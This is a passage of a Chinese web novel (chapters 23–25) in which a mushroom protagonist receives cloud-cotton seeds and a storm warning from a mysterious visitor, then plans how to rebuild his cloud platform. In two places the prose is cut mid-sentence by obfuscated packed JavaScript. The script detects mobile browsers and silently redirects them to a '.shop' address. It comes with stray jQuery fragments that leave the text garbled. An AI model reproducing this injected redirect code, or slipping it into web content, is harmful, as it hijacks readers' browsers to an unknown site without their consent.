原本搭在地上的菌丝也全部微微绷直,菌丝尖悄无声息地离开了云面,隐隐指向那不速之客的方向。 云朝暮依旧是一袭毫无杂色的白衣,雪发流泻,浅灰色的眼眸平静地望了过来。 好半晌,他才慢吞吞的道:“瘦了些。” 23. 云朝暮……他馋菇身子? 错咯,他是来…… 瘦、瘦了些? 盛棠被这没头没脑的两个字惊得一哆嗦,菌丝尖尖“唰”地一下全抬了起来,离云面都高了几分,活像炸了毛。 他赶紧去看云朝暮的脸色。那张脸依旧跟玉雕似的,没什么表情。可那双浅灰色的眼眸,却在他身上多停了那么半息,目光从上到下,慢吞吞地扫过,不像是看,倒像是在……掂量?评估? 盛棠硬是从这张毫无波澜的脸上,咂摸出了一丝几不可察的……惋惜。 那感觉,就像看到一颗原本水灵饱满的果子,忽然蔫巴了点,皮皱了,汁水似乎也没那么足了,瞧着就没那么诱人了似的。 这个念头一冒出来,盛棠整朵菇都僵了,菌杆挺得笔直,心里警铃大作。 他是传说中“顶尖食材”这事儿,虽然对他自己是天大的新闻,可对这些常年混迹云海、鼻子比狗还灵的老住户来说,保不齐就是常识! 就算知道他带毒,架不住总有那不信邪的、口味独特的、或者就爱追求刺激的,想冒险尝上一口呢? 云朝暮看着再超凡脱俗,仙气飘飘……说到底,不也是这云海里的住户么?他能真免了这俗? 所以,这家伙该不会……真在馋他身子吧?! 盛棠立刻把几根主菌丝全举了起来,绷得紧紧的,交叉在身前,摆出个如临大敌、严防死守的架势。伞盖上的粉晕都因为紧张而微微收缩,颜色都深了几分。 但他可没敢直接声张,只是定定地盯着对方,神色戒备又紧张,声音里还染上了几分强撑出来的强硬。 “你、你怎么又来了?我跟你讲清楚,那点星云露早交易完了!凝露草也没了!真的没了!你别、别打什么别的主意!” 云朝暮站在原地,闻言,微微偏了偏头,浅灰色的眼眸里浮起一丝困惑来。 盛棠被他这么一看,心里更毛了,菌丝尖都忍不住颤了颤。 这反应不对啊!按常理,被戳穿了心思,不是该恼羞成怒,或者眼神闪烁试图掩饰吗?他这……怎么跟完全没听懂、甚至还有点莫名其妙似的? 云鼹鼠早在云朝暮出现的那一刻,就“嗖”地缩到了盛棠身后,恨不得把自己团进蘑菇的影子里。 这会儿才悄咪咪探出半个毛茸茸的脑袋,两只黑豆眼骨碌碌地转,一会儿仰头看看盛棠紧绷的侧影,一会儿又小心翼翼地低头瞄瞄云朝暮,一看就是副小脑袋瓜正在飞速运转、试图理解现状的模样。 但它的小鼻子忽然用力抽动了两下,像是嗅到了什么,立着的那一双小耳朵陡然压低,紧紧贴住脑袋,蓬松的大尾巴也瞬间夹紧,缩到了肚皮下面。 盛棠没注意到身后小伙伴的异常。他只注意到,平台周围的风,似乎比刚才明显大了点,吹得他菌褶裙摆都开始微微翻卷。 而且,那股风来得有些奇怪。不是寻常那种轻轻拂过云絮、带来湿凉水汽的微风,也不像之前差点掀翻平台的狂暴乱流,而是带着一种……沉闷的、隐隐的躁动。 像是有什么巨大而暴烈的东西,正在遥远云层的深处酝酿、翻滚,那股沉甸甸的压力,即使隔得老远,也开始渗透过来。 盛棠的菌丝无意识地动了动。他刚才太紧张,全副心神都放在防备“被吃”上,这会儿才后知后觉地发觉,头顶的天光似乎比之前更昏沉黯淡了些。 远方的云层边缘,不再是均匀的灰白,而是泛起了一种沉郁的灰青色,像是一块原本干净的白布,正被无形的墨汁从角落开始,缓慢地浸染。 但他顾不上细想这天象的异变。因为,云朝暮忽然抬起了手。 修长苍白的手指探入袖口中,略顿片刻,才攥成个骨节分明的拳头,抽了出来。 盛棠的菌丝瞬间绷得更紧了,伞盖都下意识想往后缩。难道真要动手?! 可定睛一看,那不是什么武器,而是一个巴掌大小、看起来灰扑扑、毫不起眼的粗布小袋子,用同色的细绳松垮地系着口,看不出里头装了什么。 云朝暮捏着那个小布包,往前递了递。 “我是来给你送礼的。” 语气依旧是那副不咸不淡的调子,仿佛在说今天天气不错。 盛棠:“……啊?” 他愣住,菌丝僵在半空,尖尖都打了卷,快拧成麻花了。 送礼?送什么礼?为什么突然送礼?等等,该不会,他准备……先礼后兵?先用个小礼物麻痹我,降低戒心,再趁我不备…… 不对,以这家伙神出鬼没、深不可测的实力,真想对他这朵小蘑菇做点什么,根本用不着这么麻烦,直接上手就行了。 那难道是……下毒?在礼物里下毒?也不对,他自己就是个毒蘑菇,普通毒物对他未必有效,而且对方看起来不像会用这种下作手段的…… 想来想去,盛棠得出了一个自认为最合理的结论:这一定是某种狩猎策略!用礼物骗取信任,然后再伺机取菇! 于是他非但没放松警惕,反而把菌丝举得更高了,层层叠叠地交叉在身前,浑身上下紧绷着,那抗拒和怀疑几乎要溢出来了。 “你、你少来!我、我不收!” 云朝暮看着他,那双浅灰色的眼眸里,困惑又浓了几分。 他低头看了看自己手里那个灰扑扑的布包,又抬头看看盛棠那副如临大敌、仿佛面对洪水猛兽的架势,沉默了片刻,才又慢吞吞地开口:“你……不要云棉籽?” 盛棠:“不……等等,你说什么?”菌丝的防御姿态出现了一丝松动。 “云棉籽。” 云朝暮用另一只手,轻轻解开了布包束口的细绳,将袋口拉开些许,递到盛棠的菌丝前。 盛棠的菌丝晃了晃,探进袋子里。 只见里面躺着几颗白色籽粒。那些籽粒圆滚滚的,外头裹着一层细密的绒毛,看着就软乎乎的,像是随时会飘起来。 “云棉成熟后结的籽。”云朝暮解释道,“种下去,能长成云棉。” 他顿了顿,目光扫过盛棠脚下的平台。 “你的地基,”他说,“太薄了。” 盛棠的菌丝一僵。 “云棉絮……不如云絮飘。”云朝暮慢吞吞地开口,像是在组织语言,“但结实。混进去,能稳住。” 他指了指平台边缘那几处看起来最单薄的地方。 “种下去,根会往下抓。抓深了……就不容易散开了。” 说完这句,他就收了声,没再往下解释。浅灰色的眼眸平静地看着盛棠,似乎在等他自己消化。 盛棠愣了愣:“就……就这些?” 云朝暮认真地点了点头。 盛棠傻眼了。 所以这家伙……不是来收菇,而是来给菇送材料的? 他脑子里飞快地盘算起来。附近能薅的云絮都被他在心里盘算的差不多了,总得来说,根本不够建家的量。 如此一来,蓝图画得再漂亮,没材料也是白搭。这云棉籽要是真能种出来,长成一片…… 那不就是现成的建材么? 而且根系还能稳固地基,说不定以后褐色云菌再来捣乱,也不至于那么轻易就把平台啃出窟窿。 这么一想,这礼物……好像还挺实在? 但问题来了。云朝暮为什么要帮他?他能这么好心? 盛棠的菌丝无意识地蜷了蜷,立刻警惕了起来。这世上哪有白吃的午餐?更何况是在这云海里? 要知道,越是看起来没来由的好,底下越可能藏着钩子。 那钩子会是什么呢? 他粉色的菌褶无意识地在空中胡乱飘转,忽然一个念头冒出来,该不会……云朝暮是想把他养一养吧? 从一朵野生的、自生自灭的蘑菇,变成家养的、有人照看的蘑菇。等养肥了、养精神了、养得鲜嫩水灵了……再下手。 到时候吃起来,既没有糟蹋野生资源的负罪感,还能吃得心安理得。毕竟是自己一手带大的,知根知底,说不定还带点感情? 盛棠被自己这个想法吓得菌杆都僵了。 毒液不知不觉从菌褶深处渗了出来,顺着菌丝一路往下,慢慢聚在尖端。那一小滴晶莹剔透的液体,在昏沉天光下泛着微微的幽蓝。 只要他甩一甩,这滴毒液就能飞出去。 能不能毒倒云朝暮,他不确定。但至少,能给自己争取点逃跑的时间吧? 可问题是…… 他能往哪儿跑? 这云海茫茫,他一个外来户,菇生地不熟的,真窜出去了,跟无头苍蝇似的四处乱撞,保不齐就撞进哪个更饿、更馋、更迫不及待想尝尝“顶尖食材”的家伙嘴里。 那还不如不跑呢。 起码,眼前这个云朝暮,暂时还没有要立刻开饭的意思。 而且…… 盛棠偷偷抬起伞盖边缘,瞄了云朝暮一眼。 那张脸,怎么说呢……确实跟尊玉雕似的。表情呆呆的,说话动作也都慢吞吞的。这样的人,心里能藏什么刀? 盛棠的菌丝不知不觉放松了一点点。 也许……大概……应该……不至于太坏吧? 算了算了,与其自己在这儿瞎琢磨,不如直接问。 他抬起菌丝,指向那个灰扑扑的布包,又指了指云朝暮:“你为什么要帮我?” 云朝暮闻言,微微歪了歪头,像是在思考这个问题该怎么回答。好一会儿,他才轻轻点了下脑袋。 “因为,”他说,“要起风了。” 话音落下,他侧过头,看向平台远处。 盛棠顺着他的目光望去。 天边那片灰青色,似乎又浓了几分。风也更大了些,吹得他的菌丝都开始微微晃动,菌褶被掀开一角,露出底下粉嫩的颜色。 盛棠的菌丝被吹得有点发痒。他甩了甩,把被掀开的菌褶按回去,心里却犯起了嘀咕。 起风?云海哪天不起风? 这风虽然比平时躁了点,带着股说不上来的闷劲儿,但比起上次那场差点把他平台掀翻的飓风,还是柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197039|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和多了。 他不觉得这风有什么值得特别在意的。 云朝暮却像看穿了他的心思,收回目光,慢吞吞地补了一句:“这不是寻常的风。” 他顿了顿:“是云絮暴的前兆。” 盛棠的菌丝一僵。 云絮暴?听名字就不像什么好东西。 身后的云鼹鼠似乎被这三个字吓到了,它长嘤一声,猛地打了个剧烈的哆嗦,整只鼠像是被踩了尾巴一样,“噌”地一下从盛棠背后蹦了出来。 它小爪子比比划划,“嘤嘤嘤”地叫个不停,一会儿指指天边那片灰青,一会儿指指脚下的平台,一会儿又抱住自己的脑袋做瑟瑟发抖状,动作又快又急,连毛都炸起来了。 盛棠虽然听不懂它在叫什么,但从那慌乱的动作里能看出,这可不是什么好事。绝对不是。 “说清楚。”他看向云朝暮,菌丝微微收紧,“什么叫云絮暴?” 云朝暮难得地多说了几句。 “云海每隔一段时间,会有絮暴。”他说,“风从下层卷上来,搅动云层。普通云絮会被瓦解,吹散。地基不牢的平台……” 他顿了顿:“会塌。” 盛棠的菌丝集体蜷了一下。 他低头看着自己脚下那个被褐色云菌啃得七零八落的平台,忍不住咽了口口水。能破坏的几乎都被破坏了一个遍,剩下的这些骨架,还真不一定能撑得过一场云絮暴。 “你这个,”云朝暮扫了一眼,“就算重建……也撑不住。” 盛棠瞬间炸菇了。他立刻想要反驳,想说“我建得挺用心的”,想说“你知道我花了多少力气、用了多少知识点、计算了多久平衡度吗”,想说“你凭什么这么说”—— 但话到嘴边,他沉默了。 菇啊,要学会认清现实。云朝暮又没见过他后来的成果。就现在这幅被摧毁了一半的毛坯状态,他那么说……其实也没错。 云朝暮把那袋云棉籽又往前递了递。 “种下去。”他说,“根系会抓住云层,帮你稳住。等云棉长开,絮暴来了,至少……” 他目光扫过整片平台:“不会整个被吹散。” 盛棠盯着那袋毛茸茸的籽粒,一时说不出话。 如此来看,还应该好好感谢他才是。要不然,他这毫无准备的,说不定就被一场云絮暴给秒了。 不过,也不知道系统会不会提示距离云絮暴到来还有几天? 时间要是不够,就算有这种子,不也还是白搭么?算了,看看系统吧。这么重要的信息,系统总不能当个哑炮,什么提示都不给吧? 盛棠这么想着,刚准备用菌丝把一盘的平板扒拉过来,脑子里却忽然闪过一个念头。 等等,这家伙上次来,好像也是这么突然出现,面无表情地跟他做了一笔交易。星云露换天光云石碎片,干净利落,交易完转身就走,连句多余的话都没有。 当时他还嘀咕,这人冷冰冰的,像块会走路的玉。 怎么这回……又是送礼,又是预警的? 盛棠盯着云朝暮,心里的问号越冒越多。他试探着问:“你……为什么要告诉我这些?咱们不就做过一回交易吗?你又不欠我什么。” 云朝暮闻言,那双浅灰色的眼眸慢慢转向他,像是在思考这个问题值不值得回答。 半晌,他才慢吞吞地开口:“上次的星云露……成色很好。” 盛棠一愣。就这? 就因为自己换出去的星云露品质不错,所以这人就特意跑来送云棉籽、预警絮暴? 这也太……太随便了吧? 他想反驳,但对上云朝暮那双依旧淡淡的浅灰色眼眸,又觉得……这人好像也不是会撒谎的样子。 盛棠的菌丝无意识地蜷了蜷,心里乱糟糟的。 算了,管他什么理由,东西都送到跟前了,总不能真不要吧? 而且……他偷偷瞄了云朝暮一眼——那张脸依旧是那副玉雕似的模样,看不出半点别的意思,呆得很。 也许,大概,真的就是顺手帮个忙? “好吧。那我收下了。”盛棠用菌丝接过布包,顿了顿,又问,“你有想要的东西吗?” 话一出口,他就后悔了。 他环顾四周,乱七八糟的地上零零散散地摆着一大堆没成熟的半成品。算来算去,除了他自己,居然连一件能拿得出手做交换的东西都没有。 可他肯定是不能把自己送出去的。 盛棠干巴巴地咳了一声,硬着头皮开口:“那……那云絮暴来的时候,你来我家躲躲吗?” 他越说越觉得这邀请有点寒碜——就这破地方,还好意思请人来躲灾? 但话已出口,收不回来了。他只能硬着头皮继续:“这几天我会重塑家园,到时候会比现在大,也会更安全。” 说完,他忐忑地看着云朝暮,心里七上八下的。 反正都是要重做,再弄个客房,也无所谓了。要是,他乐意来的话。 24. 画的不是图,是命 云朝暮垂眸看着他,那双浅灰色的眼睛微微眯着,像蒙了层薄雾的琉璃珠子,没什么情绪,也看不出太多端倪。 平台陷入了一片寂静,压得连云鼹鼠、蚀云虫,蓬蓬兽都僵在原地,大气不敢出。 盛棠心里开始有点发毛了。这是答应了,还是没答应?好歹给个反应啊!这沉默比直接拒绝还让人菌褶发紧。 就在他以为对方会直接转身走人的时候,云朝暮微微摇了摇头:“不用了。” 盛棠一愣。 云朝暮的目光从他身上移开:“絮暴来的时候,我不在。” 盛棠:“……啊?” 不在?什么意思?你要出门?还是……你要去别的地方躲? 他正想追问,云朝暮却已经收回目光,看了他一眼。 那一眼依旧是淡淡的,没什么情绪。但盛棠莫名其妙地觉得,好像被什么东西轻轻碰了一下。 然后云朝暮转过身去,白衣在昏沉天光下划出一道淡淡的轨迹,几步之后,那道修长的身影就模糊起来,像是融进了空气里。 盛棠愣愣地看着那个方向,几根菌丝还保持着半抬的姿势,仿佛还没从刚才那简短的对话和突如其来的告别中回过神来。 走了?就这么走了? 云鼹鼠从盛棠身后探出脑袋,左右看看,确定那尊“冷面玉雕”真的走了,才长出一口气,“嘤”了一声,小爪子拍拍胸口,一副“吓死本鼠了”的表情。 盛棠没理它。 他只是站在原地,望着空荡荡的平台边缘,心里莫名有点……说不上来的感觉。 不是失落。肯定不是。 就是……这人怎么这样?问也不答,话也不说清楚,说走就走…… 算了。 盛棠甩了甩菌丝,把那些乱七八糟的念头甩出去。人家都走了,还想那么多干嘛?眼下最重要的,是赶在絮暴来之前把家建好。 他低头看了看菌丝间那袋毛茸茸的云棉籽。 至少……东西留下了。 盛棠叹了口气,把平板捞回来,用菌丝点开屏幕。 之前光顾着紧张了,系统里那些新跳出来的提示根本没来得及细看。现在云朝暮走了,周围只剩下几个眼巴巴望着他的毛团子,他终于能稍微定下神,好好琢磨琢磨眼前的局面了。 屏幕亮起,【记事】图标上果然多了个红点。 盛棠点进去,一排新记录跳了出来。 【星月历2015年1月21日14:03:11:检测到宿主初步掌握规划意识与基础建造能力,解锁辅助功能【蓝图】。请善加利用。】 这条他见过了,往下翻。 【星月历2015年1月21日14:27:38:检测到极端天气前兆,正在分析中……】 【星月历2015年1月21日14:28:02:分析完成。极端天气类型:云絮暴。预计抵达时间:7日后。预计持续时间:5-7日。 建议:立即加固平台地基,储备应急物资。备注:云絮暴期间,普通云絮会被瓦解,平台结构将面临严峻考验。】 盛棠的菌丝不自觉地蜷紧。 七天?就剩七天? 他赶紧往下翻: 【星月历2015年1月21日14:30:17:检测到宿主获得特殊作物种子:云棉籽(变种)。 已自动纳入[作物图鉴]。建议尽快种植,其根系可有效稳固平台地基。】 变种?盛棠愣了愣,看向【记事】旁边的书籍小图标。果然,【图鉴】图标也亮着提示光。他点进去,找到【作物】分类,最新解锁的一条赫然在目。 【云棉籽(变种)】 【分类:建材类作物/特殊变异体】 【描述:由普通云棉籽变异而来,来源不明。生长速度极快,根系发达,可深入云层抓附固定,是搭建平台的优质建材。成熟后植株高度约为普通云棉的1.5倍,抗风性更强。】 【备注:检测到该变种具有潜在特殊属性,需待植株成熟后进一步观察。】 盛棠盯着那行“来源不明”和“潜在特殊属性”,菌丝尖无意识地相互搓了搓。 云朝暮送的种子,系统都说“来源不明”?这人……到底什么来头?他给的“变种”,又会有什么意想不到的效果? 盛棠摇了摇头,强行把这些暂时无解的好奇压回心底。 现在不是琢磨这个的时候。当务之急,是怎么在短短七天内,把这个破烂家收拾到能扛过絮暴的程度,还得准备够至少五天的口粮! 他退出图鉴,又快速浏览了一遍记事,确认没有更多关键信息后,开始在心里飞速盘算。 七天。说长不长,说短……也实在不宽裕。想建成蓝图里那种功能分明、宽敞舒适的家园是别指望了,但搞出一个结构相对稳固、能遮风挡雨、保住小命的基础框架,或许……还能拼一拼。 而且……他抬起头,目光扫过平台上那几张嘴。 三只蓬蓬兽,胃口不小,还特别能吃蓬松的云絮。云鼹鼠,虽然个头小,但整天上蹿下跳,能量消耗大,食量估计也不容小觑。蚀云虫……看它那敦实的体型和之前啃食云菌的凶猛劲,估计也不是个省粮的主。 这五到七天的口粮储备……盛棠光是想想,就觉得菌丝都快打结了。 经过褐色云菌那一通疯长和蚀云虫的清扫,平台上原本就不算富裕的存粮早已见了底。 这意味着,他很可能需要在七天内——不,是必须在前三天内,搞到足够支撑至少五天的食物! 而放眼望去,平台附近能采集的、相对干净的云絮早就被薅得差不多了,之前发现的那个小型资源点也濒临枯竭…… 盛棠默默的叹了口气。看来,那个又黑又粘、危机四伏的下层腐殖云带,是无论如何也绕不过去了。 他真是一千个一万个不想再去,可不去的话,难道让大家饿着肚子、在狂风乱流中硬扛吗? 他正对着这个残酷的现实发愁,忽然感觉菌丝被什么东西轻轻戳了戳。 低头一看,是云鼹鼠。 小家伙不知道什么时候把小布包推到了他跟前,黑豆眼亮晶晶地看着他,小爪子指了指布包,又指了指平台边缘那几块刚清理出来的空地,“嘤嘤”叫了两声。 盛棠明白它的意思,是在催促他赶紧把这云棉籽种下去呢。 可这…… 盛棠看着眼前这四处漏风、千疮百孔、仿佛一阵稍大点的风就能吹散架的“地基”,他实在有点下不去手。 这平台,当初是仓促间用边角料东拼西凑起来的,看着占地面积不小,可等真要把各种功能分区、植物、住户都安排上去,就发现空间捉襟见肘,完全不够用。 他自己需要扎根,需要空间伸展菌丝吸收养分、日光草需要相对稳定的光照位、刚种下、奄奄一息的星纹草也需要地盘恢复元气。 更别说马上就得种下的云棉籽。为了增加材料、加固结构,必须尽快种,而且要多种! 再加上那些暂时没处理、但也不敢随意丢弃的褐色云菌残骸和普通云苔,还有云鼹鼠、三只蓬蓬兽、以及那只新入伙的蚀云虫…… 哪一个不要地方?哪一个不占空间? 盛棠的菌丝尖无意识地在身下的云壤上划拉着,勾勒出凌乱的线条。 心里粗略一算,至少还需要三个……不,算上核心区本身的修复和加固,总共得四个边长六十厘米左右的、相对标准的“云立方”平台,才能勉强把眼下这摊子人和事都安置下来,并且确保基本的结构稳定性。 他低头看着脚下这片被褐色云菌啃噬得坑坑洼洼、被虫子和菌丝折腾得松散不堪的基底,又抬起头,望向四周茫茫无际、此刻却暗藏杀机的云海。 四个平台,七天。 这简直是个……令人绝望的任务量。 可绝望归绝望,任务还是得完成。不完成,就是死路一条。 盛棠深吸一口气,伸出菌丝,把平板稳稳扒拉到面前。 屏幕亮起,【蓝图】界面还停留在上次他画的那几个歪扭的圆圈上。 云鼹鼠凑过来,黑豆眼盯着屏幕看了一会儿,“嘤”了一声,小爪子指了指那两个被它扒拉到一块的圆圈,仰起头,认真的看向盛棠:“嘤嘤嘤?” 盛棠用菌丝把它拨开:“作数,但得重新画。” 他清理掉屏幕上那些杂乱无章的线条,从零开始,重新规划。 核心区肯定要放在最中央的位置。原来的平台基底虽然破败,但位置最佳,修修补补,强化一下,还能作为整个家的心脏。 盛棠在网格图纸的中央,小心翼翼地画出一个边长六十厘米的正方形,然后标上了【核心区】。 接下来是核心区的内部布局。盛棠熟练地操作着平板,给自己正在画的线条换了个醒目的黄色。 他打算把日光草留在自己身边,紧挨着菌杆。和日光草配套的凝露草也要安排在附近。 日光草需要光照,尽管云海上的光照是个很玄学的概念,但东边毕竟是太阳升起的方向,理论上光线会相对好那么一点点。就算实际没啥区别,至少心理上是个安慰。 更何况,凝露草夜间能散发稳定的微光,多少能弥补一下“日照”的不足,对日光草的生长或许也有点说不清道不明的裨益。 而且,他自己这朵蘑菇的健康成长,也离不开光照和水分。凝露草能凝结纯净的云露,刚好可以给他补充珍贵的水分。日光草虽然还小,但好歹能制造点白天的氛围感。 这三者凑在一块儿,互相依存,互相补益,刚好能形成一个微型的、可持续的生态循环。 至于土壤肥力……盛棠的目光不由自主地飘向角落里那几撮颜色暗沉、被控制住的褐色云菌,沉默了两秒,然后果断移开视线。 算了。这家伙虽然分解能力强,能造肥,但实在过于不可控。 哪怕有蚀云虫和星纹草双重监管,他也不敢再冒险把它们弄到核心区附近。万一再出什么幺蛾子,在絮暴来临的节骨眼上从内部爆破,他这朵小蘑菇可真扛不住第二回了。 东边区域大致规划妥当,他把目光转向平台的西南角。 那里刚好有一小块相对凸出、结构尚未完全垮塌的平台边缘。位置有点偏,但正好可以用来试种一颗云棉籽。 他脚下这块云立方完全是由最普通的蓬松云絮混合粘液搓制而成。 本就结构疏松,加上又被褐色云菌从内部侵蚀破坏过一轮,稳定性可以说是差到了极点。如果不加点料来加固,絮暴一来,八成会从边缘开始崩解、散架。 云棉的根系能向下深深抓附,抓得越深,平台就越稳——云朝暮是这么说的。一个能被系统判定为“来源不明”、身怀BUG级能力的存在说的话,总该有点份量。 不过这样一来,整个核心区的布局就显得有些拥挤了。蘑菇要扎根,草要生长,棉要伸展……大家都要根须,都要空间,你占一块我抢一块,最后很可能全都挤作一团,谁都舒展不开,长得憋憋屈屈。 盛棠盯着【蓝图】上那个代表核心区的小方块,沉思了片刻,忽然灵光一现。 他用菌丝在平板上快速拖拽,在代表核心区平台的黄色方块正下方,又添加了一个更大的、边长八十厘米的淡灰色方块,作为“加厚垫层”。 这样一来,整个核心区域的结构就从原本的三层变成了四层!根须可向下伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197040|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展的空间一下子充裕了不少。 虽然不同植物的根系可能还是会互相交错,需要避让,但至少不至于过上那种“你的根碰到我的菌丝”、“我的须挤了你的窝”的窘迫日子了。 盛棠抬起头,瞥了一眼界面角落自动估算出的材料需求。 剩余的云絮库存虽然不算丰厚,但搓制一个八十厘米见方、足够厚实的“加固垫层”,应该勉强够用。 他盯着屏幕上那个新画出来的方块,忽然有点想叹气了。 规划到这一步,他也只是刚刚安置好了“核心区”自身的排布和加固方案而已。 那些亟待处理的褐色云菌残骸、需要移栽的星纹草、生命力顽强的普通云苔,以及剩下的云棉籽……都还眼巴巴地等着他分配地盘呢。 盛棠想了想,在核心区东侧紧挨着又画了一个同样大小的方块,标上【平台A:多功能种植/监管区】。 他操纵菌丝,在这个新方块内部,由外向内精细地画出了三个同心方框。 一个套着一个,将这个60x60厘米的区域巧妙地分割成了功能不同的三层环带。 最外面的一环,他打算均匀地点种上四粒云棉籽。让它们的根系从外围开始,牢牢抓住并稳固这片新拓展的区域。 中间一环,则计划移栽那几株奄奄一息、但至关重要的星纹草。让它们形成一道天然的“隔离带”和“监控网”。 而最中心、最小的那个方框,他咬了咬牙,决定留给那几撮被控制住的褐色云菌残骸。 虽然这玩意儿危险,但它的高效分解能力在特定环境下又是宝贵的资源。 把它放在这里,外围有四棵云棉的强力根系固定大地,中间有厌恶它的星纹草严密监视、形成威慑。 在这种双重“监管”和地理限制下,它应该……掀不起太大风浪了吧? 盛棠心里其实也没底。但他眼下资源匮乏、时间紧迫,实在没有更稳妥的处理办法了,只能硬着头皮干了。 云鼹鼠不知何时又凑了上来,小脑袋几乎要贴到平板上,黑豆眼一眨不眨地盯着那个新画出来的【平台A】看了许久。然后伸出小爪子,不太确定地拍了拍屏幕。 “嘤嘤嘤?嘤嘤嘤?” 它仰起头,狐疑地看着盛棠,小脸上明明白白地写着“你该不会是想把我和那傻虫子,跟这些危险玩意儿安排在一块儿吧?”的嫌弃。 盛棠微微一愣,随即有些失笑。 这小家伙,倒是机灵得很,一眼就看出这个平台A未来会是“工作区”兼“危险品暂存区”的性质。 按常理,一只负责清理工作的蚀云虫,把它安排在靠近工作对象的地方,似乎很合理。 而云鼹鼠作为蚀云虫的引荐鼠兼监管鼠,把窝安在附近以便随时盯着,好像也说得通。 不过,盛棠可没打算当那种压榨员工的黑心菇主。 他一开始就没计划让云鼹鼠和蚀云虫长期住在那种高风险工作区。 更何况,他心里清楚,这个平台A规划得已经非常紧凑,功能至上,根本挤不出舒适的生活空间给它们。 云鼹鼠还在那儿用爪子拍着屏幕,喉咙里发出不满的“嘤嘤”声,仿佛在抗议这种“不菇道”的安排。 盛棠伸出一根菌丝,轻轻拍了拍它毛茸茸的小脑袋,哭笑不得道:“行了行了,想什么呢。没安排你们住那儿。那儿是‘工作间’和‘实验田’,不是宿舍区。” 他说着,在核心区和平台A之间画出一条连接线,末端带出三个小平台——主体是个20cmx20cm的方块,旁边缀着两个10cmx10cm的小格子。 他用菌丝点了点这三个平台,低头看向云鼹鼠:“安排你们住这儿,可还算满意?” 云鼹鼠盯着那个小平台组合看了半晌,终于心满意足地点了点小脑袋:“嘤嘤嘤!嘤!” 盛棠可算是松了口气,他看向一旁的蓬蓬兽。 这三个毛茸茸的小家伙似乎完全没感受到空气中弥漫的紧张和天边逼近的危机,依旧无忧无虑,在平台上快活地打着滚。 你撞我、我挤你,把一团团蓬松的云絮撞得四处飞溅,又咕噜噜地滚过去,用小爪子笨拙却欢快地把散开的云絮拢到一起,玩得不亦乐乎。 见盛棠看过来了,它们才齐齐停下动作,三颗毛茸茸的小脑袋同时歪向一边,六只黑豆眼里满是无辜和快乐,细声细气的:“啾啾?” 盛棠:“……” 算了,这三个小家伙,傻乎乎的,没什么心机,也没什么自保能力。 真要把它们单独安置在别的平台,他还得时刻担心它们会不会玩疯了滚出去,或者被突然的变故吓跑丢。 而且,它们本身不制造什么风险,性格也温顺,与其放在外面提心吊胆,不如就带在身边,放在核心区。 反正核心区目前规划下来,空间虽然紧凑,但挤一挤,给它们划块小小的、铺着软云絮的打滚地儿,应该还是够的。 盛棠这么想着,菌丝在界面上轻轻一晃,在代表核心区的那个黄色大方块内部,靠近自己活性云团的位置,用菌丝尖画了三个小小的、挨在一起的圆圈,然后它们标注上:【蓬蓬兽的快乐云絮窝】。 这样一来,原本4个60cmx60cm的云立方平台一口子就缩减成了1个80cmx80cm的云立方平台,1个60cmx60cm的云立方平台,1个20cmx20cm的云立方平台和2个10cmx10cm的云立方平台了。 虽然依旧不轻松,但工作量和所需的材料,肉眼可见地减少了一大截。 盛棠默默地松了口气,整朵菇都重新焕发出一种沉静的决心。 七天而已,开工! 25. 塞菇失马,焉知非福 说是开工,其实也就是修修补补。 把被褐色云菌啃得松散的地方压实,把边缘摇摇欲坠的小块重新固定,把坑坑洼洼的云面填平。 这活儿难是不难,就是需要细心。 松散处要压得与周围齐平,厚薄均匀,不能这边鼓个包那边陷个坑。 松动的边缘要修补得严丝合缝,从外观到结构都浑然一体,看不出修补的痕迹。 盛棠一干起来,就容易上头。 菌丝挥舞得跟彩带似的,在空中飘得跟无数多会转圈的花儿似的,把旁边三只蓬蓬兽都看花了眼,小脑袋跟着转来转去,没一会儿就晕头转向,“噗叽”一声栽在云面上,撞出老大一个鼓包。 “啾!啾啾!” 三个小家伙你压着我、我挤着你,爬起来对着盛棠发出控诉的叫声。 但盛棠压根没理会,他完全沉浸在自己的“修补艺术”里,直到一根菌丝在空中捞了个空。 盛棠动作一滞,抬头看去。 那根菌丝旁边,本该被预留出来的备用云絮,全空了。 盛棠:“……” 完啦。 他修嗨过头了,把“要留点云絮当预备材料和蓬蓬兽的口粮”这事儿完全抛到脑后了! 他下意识地转动小伞盖,粉嫩的菌褶裙摆随着动作一起一伏,透着股遮挡不住的慌乱。 空的。 全空了。 他这东薅一把西薅一把的,已经把附近能薅的云絮薅得差不多了。那些原本慢悠悠飘着的絮团,现在一朵都看不见。 灰青色的天一望无际,直看得盛棠心里一凉又一凉。 等等—— 他忽然瞥见斜上方还残存着一丁点云絮的影子。 盛棠赶紧探出菌丝,想把那最后一丁点收拢过来—— “啾!!!” 一道圆滚滚的影子猛地弹跳而起,一头撞在他菌丝上! 是蓬蓬兽! 它屁股对着盛棠,两只小爪子把空中仅剩的那一丁点云絮牢牢搂在怀里,扭过小脑袋,黑豆眼里满是哀怨和控诉。 “啾啾!啾啾啾!” 另外两只也动了。身子明明还在瑟瑟发抖,却还是一股脑挤过来,一左一右挡在那只护食同伴身前。 四只短爪努力从圆滚滚的身躯里伸出来,摆出一副“今天一定要拦住你”的架势。 “啾啾啾!啾啾!啾啾啾!” “啾啾!啾啾啾啾!啾啾啾!” 盛棠:“……” 